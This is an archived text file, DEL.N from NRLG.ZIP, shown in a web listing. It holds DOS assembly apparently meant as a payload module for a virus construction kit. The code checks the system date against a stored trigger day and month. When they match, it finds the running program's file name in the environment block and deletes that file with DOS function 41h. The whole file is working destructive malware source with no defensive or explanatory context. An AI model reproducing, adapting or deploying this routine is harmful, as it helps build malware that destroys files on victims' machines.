home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / NRLG.ZIP / DEL.N < prev    next >
Text File  |  1994-01-01  |  2KB  |  57 lines
  1. ;---------------------------------
  2. action:                            ; 
  3. MOV AH,2AH                         ;        
  4. INT 21H                            ;get date           
  5. CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?                 
  6. JE  cont                           ;nop! fuck ret          
  7. cmp byte ptr cs:[action_dia+bp],32 ;
  8. jne no_day                         ;
  9. cont:                              ; 
  10. cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?            
  11. je set                             ;
  12. cmp byte ptr cs:[action_mes+bp],13 ;
  13. jne NO_DAY                         ;nop! fuck ret           
  14. set:                               ; 
  15.                                   ; 
  16. mov ds,word ptr cs:[2ch]          ;      
  17. xor bx,bx                         ;   
  18. nuevo:                            ;     
  19. inc bx                            ;get file name! 
  20. mov dl,byte ptr ds:[bx]           ;
  21. cmp dl,00                         ;   
  22. jne nuevo                         ;   
  23. nuevo1:                           ;       
  24. inc bx                            ; 
  25. mov dl,byte ptr ds:[bx]           ;get file name!    
  26. cmp dl,00                         ;     
  27. jne nuevo1                        ;     
  28. nuevo2:                           ; 
  29. inc bx                            ;     
  30. mov dl,byte ptr ds:[bx]           ;get file name!           
  31. cmp dl,01                         ;  
  32. jne nuevo2                        ; 
  33. nuevo3:                           ;           
  34. inc bx                            ; 
  35. mov dl,byte ptr ds:[bx]           ;get file name!     
  36. cmp dl,00                         ;        
  37. jne nuevo3                        ;                  
  38. cero3:                            ; 
  39. inc bx                            ; 
  40. push bx                           ;                      
  41. pop dx                            ;
  42. push dx                           ;
  43. push ds                           ; 
  44. push cs                           ;
  45. pop ds                            ;
  46. push cs                           ;
  47. pop es                            ;
  48. pop ds                            ;
  49. pop dx                            ;
  50. MOV AH,41H                        ;delete name 
  51. iNT 21H                           ;ds:dx=file mame 
  52. int 20h                           ;
  53. NO_DAY:                           ;             
  54. ret                               ;
  55. ;---------------------------------
  56.  
  57.